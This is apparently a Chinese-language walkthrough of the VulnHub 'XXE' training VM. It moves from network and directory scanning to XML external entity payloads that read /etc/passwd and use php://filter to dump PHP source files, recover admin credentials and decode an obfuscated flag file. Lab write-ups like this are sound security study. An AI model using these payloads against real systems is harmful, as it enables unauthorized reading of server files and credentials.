项目地址
https://download.vulnhub.com/xxe/XXE.zip
实验过程
将下载好的靶机导入到VMware中,设置网络模式为NAT模式,然后开启靶机虚拟机
使用命令获取靶机IP地址,获得靶机IP为192.168.5.135
arp-scan -l
进行端口查看,获得靶机端口开放情况
nmap 192.168.5.135/24
或nmap -sV -p- 192.168.5.135
在浏览器访问http://192.168.5.135
对网站进行目录和文件扫描
dirb http://192.168.5.135
发现有index.html和robots.txt
进入网站进行查询
发现存在用户登录的一个界面
http://192.168.5.135/xxe/
进入用户登录界面
尝试登录并用Burpsuite抓包
通过抓包发现是XML数据提交
利用外部实体注入读取用户的账户文件
<!DOCTYPE r [<!ENTITY admin SYSTEM "file:///etc/passwd"> ]>
<root><name>&admin;</name><password>1</password></root>
继续通过php://filter读取admin.php的文件源码
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY admin SYSTEM "php://filter/read=convert.base64-encode/resource=admin.php">
]>
<root><name>&admin;</name><password>admin</password></root>
进行base64解码
得到用户名和密码,经过分析可知密码是通过MD5格式加密的
得到账号密码分别为administhebest,admin@123
进入http://192.168.5.135/xxe/admin.php进行登录
出现一个flag链接
点击进入一个页面
方法一:
访问192.168.5.135/xxe/flagmeout.php,查看网页源代码
http://192.168.5.135/xxe/flagmeout.php
方法二:
使用Burpsuite进行读取flagmeout.php
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY admin SYSTEM "php://filter/read=convert.base64-encode/resource=./flagmeout.php">
]>
<root><name>&admin;</name><password>admin</password></root>
进行base64解码
得到JQZFMMCZPE4HKWTNPBUFU6JVO5QUQQJ5
对得到的flag先进行base32解码,再进行base64解码
得到flag.php
使用Burpsuite进行读取flag.php
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY admin SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/.flag.php">
]>
<root><name>&admin;</name><password>admin</password></root>
进行base64解码
$_[]++;$_[]=$_._;$_____=$_[(++$__[])][(++$__[])+(++$__[])+(++$__[])];$_=$_[$_[+_]];$___=$__=$_[++$__[]];$____=$_=$_[+_];$_++;$_++;$_++;$_=$____.++$___.$___.++$_.$__.++$___;$__=$_;$_=$_____;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$___=+_;$___.=$__;$___=++$_^$___[+_];$À=+_;$Á=$Â=$Ã=$Ä=$Æ=$È=$É=$Ê=$Ë=++$Á[];$Â++;$Ã++;$Ã++;$Ä++;$Ä++;$Ä++;$Æ++;$Æ++;$Æ++;$Æ++;$È++;$È++;$È++;$È++;$È++;$É++;$É++;$É++;$É++;$É++;$É++;$Ê++;$Ê++;$Ê++;$Ê++;$Ê++;$Ê++;$Ê++;$Ë++;$Ë++;$Ë++;$Ë++;$Ë++;$Ë++;$Ë++;$__('$_="'.$___.$Á.$Â.$Ã.$___.$Á.$À.$Á.$___.$Á.$À.$È.$___.$Á.$À.$Ã.$___.$Á.$Â.$Ã.$___.$Á.$Â.$À.$___.$Á.$É.$Ã.$___.$Á.$É.$À.$___.$Á.$É.$À.$___.$Á.$Ä.$Æ.$___.$Á.$Ã.$É.$___.$Á.$Æ.$Á.$___.$Á.$È.$Ã.$___.$Á.$Ã.$É.$___.$Á.$È.$Ã.$___.$Á.$Æ.$É.$___.$Á.$Ã.$É.$___.$Á.$Ä.$Æ.$___.$Á.$Ä.$Á.$___.$Á.$È.$Ã.$___.$Á.$É.$Á.$___.$Á.$É.$Æ.'"');$__($_);